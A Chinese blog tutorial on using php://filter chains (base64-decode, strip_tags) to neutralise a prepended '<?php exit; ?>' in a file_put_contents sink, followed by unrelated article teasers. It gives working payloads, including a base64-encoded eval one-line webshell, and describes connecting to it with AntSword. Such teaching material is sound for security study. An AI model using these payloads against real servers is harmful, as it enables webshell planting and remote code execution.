浅谈php://filter的妙用

news/2024/12/22 10:56:44/

文章目录

  • 分析源码
  • 巧用编码与解码
    • 利用字符串操作方法

分析源码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

首先,先分析一下这段代码。
首先他定义了content为’<?php exit;?>‘,然后使用txt接受了一个POST的变量,将其与content进行拼接,也就是$content=’<?php exit;?> txt’,也就是说无论后面写什么都不会执行。file_put_contents是将数据写入文件。下面就是使用POST接收一个名为filename的变量。整体上来看呢就是将content的内容写入filename的文件。
那我们不妨设想一下有没有什么方法能“屏蔽”前面的退出函数呢?

巧用编码与解码

使用php://filter流的base64-decode方法,将$content解码。
base64只包含大小写字母、数字、+和/,在解码时,只对这些字符解码,当遇到其他字符时,会跳过,仅将合法字符组成一个新的字符串进行解码。

<?php exit;?>共有七个字符会被正确解码,而base64算法解码时是4byte一组,那么我们就给他随便添加一位组成8byte,然后后面就可以写我们的webshell了。

php://filter中怎么使用base64解码呢?那么就是php://filter/writer=convert.base64-decode/resource=aaa.php。这句话的意思是使用base64对其解码并且将其写入aaa.php文件。
那么我们先将webshell写成<?php phpinfo();将其进行base64编码为PD9waHAgcGhwaW5mbygpOw。将其作为content传入,将php://filter/write=convert.base64-decode/resource=aaa.php作为filename传入。
进行测试。
在这里插入图片描述

查看在本目录下是否生成了该文件
在这里插入图片描述
在这里插入图片描述
既然这样都可以成功,那我们不妨尝试写一句话木马。<?php eval($_POST[1]);的base64编码为PD9waHAgZXZhbCgkX1BPU1RbMV0pOw。

使用蚁剑进行连接尝试。
在这里插入图片描述

连接成功。

利用字符串操作方法

在php://filter中有一种对php和html的标签进行检测操作的方法,也就是strip_tags。那我么就要思考,他是不是可以去除一切含有<?php标签的代码呢?答案是的。也就是说,只要其检测到<?php或者说html的标签那么可以直接将其删除,但是我们还要传入php的代码,肯定也会被其删除啊,有没有一种方法可以不删除我们传入的恶意代码、只删除<?php exit; ?>呢?
php://filter可以同时使用多个过滤器,那我们思考就可以利用上面的编码与解码了。
也就是类似于这种

php://filter/write=string.strip_tags|convert.base64-decode/resource=aaa.php

也就是我们将恶意代码以base64编码的形式传入,等string_tags将<?php exit; ?>删除之后,再将恶意代码使用base64解码。
还是先将<?php phpinfo();进行base64编码为PD9waHAgcGhwaW5mbygpOw,然后将其以POST的形式传入txt,将php://filter/write=string.strip_tags|convert.base64-decode/resource=aaa.php通过POST传给filename。
在这里插入图片描述
在这里插入图片描述
查看aaa.php的内容。
在这里插入图片描述
访问。
在这里插入图片描述
再写一句话木马尝试使用蚁剑连接。
在这里插入图片描述
在这里插入图片描述
连接成功。


http://www.ppmy.cn/news/1510660.html

相关文章

蓝桥·算法赛——第05场

文章目录 小白入门赛1-十二生肖2-欢迎参加福建省大学生程序设计竞赛3-匹配二元组的数量4-元素交换5-下棋的贝贝6-方程 强者挑战赛1-元素交换2-下棋的贝贝3-方程4-学《博弈论》的贝贝5-学《数论》的贝贝6-学《树论》的贝贝 小白入门赛 1-十二生肖 2-欢迎参加福建省大学生程序设…

最新软件库系统源码/ 免服务器源码/带后台功能/使用链接上传或服务器存储

源码简介&#xff1a; 最新软件库系统源码&#xff0c;它是免服务器的&#xff0c;而且带后台&#xff0c;实现超级管理动态发布&#xff0c;会员系统卡密系统充值的后台功能。注册用户的软件投稿&#xff0c;可以使用链接上传&#xff0c;或者服务器存储。 它带有后台功能&a…

哈啰出行Java开发工程师一面面经(校招)

牛客网最新面经分享面试过程&#xff1a; 小编为参加校招、秋招、金九银十面试季的小伙伴们准备了一份很全很详细的java面试宝典&#xff08;包含各个大厂真题以及最常见的八股文含答案&#xff09;&#xff0c;由于平台篇幅原因&#xff0c;就不在这里一一展示了&#xff0c;…

【微服务】Spring Cloud Alibaba 的介绍以及和主要功能

文章目录 引言主要功能1. **服务发现与注册**2. **分布式配置管理**3. **流量管理与熔断限流**4. **消息驱动**5. **分布式事务管理**6. **远程调用&#xff08;RPC&#xff09;**7. **服务网关**8. **对象存储**9. **全链路跟踪**10. **阿里巴巴中间件支持**11. **高可用与容错…

【python制作一个小程序作为七夕礼物】

制作一个七夕节礼物的小程序&#xff0c;我们可以考虑一个简单的互动程序&#xff0c;比如一个“七夕情侣姓名配对指数计算器”。这个程序将接收两个名字作为输入&#xff0c;然后输出一个随机的“配对指数”和一些浪漫的话语。以下是一个使用Python实现的简单示例&#xff1a;…

【免费】企业级大模型应用推荐:星环科技无涯·问知

无涯问知是星环科技发布的大模型应用系统&#xff0c;那么我们先简单了解下星环科技吧&#xff01; 星环科技&#xff08;股票代码&#xff1a;688031&#xff09;致力于打造企业级大数据和人工智能基础软件&#xff0c;围绕数据的集成、存储、治理、建模、分析、挖掘和流通等数…

Ruby模板引擎:构建动态视图的艺术

标题&#xff1a;Ruby模板引擎&#xff1a;构建动态视图的艺术 在Ruby on Rails的世界里&#xff0c;模板引擎是构建动态网页的基石。它们允许开发者将服务器端的逻辑嵌入到HTML中&#xff0c;实现数据的动态展示。本文将深入探讨Ruby中几种常用的模板引擎&#xff0c;包括ERB…

stm32入门学习14-电源控制

有时候我们的程序中有些触发执行条件&#xff0c;有时这些触发频率很少&#xff0c;我们的程序就一直在循环&#xff0c;这样就很浪费电&#xff0c;我们可以通过PWR电源控制来实现低功耗模式&#xff0c;即只有在触发时才执行程序&#xff0c;其余时间可以关闭一些没必要的设备…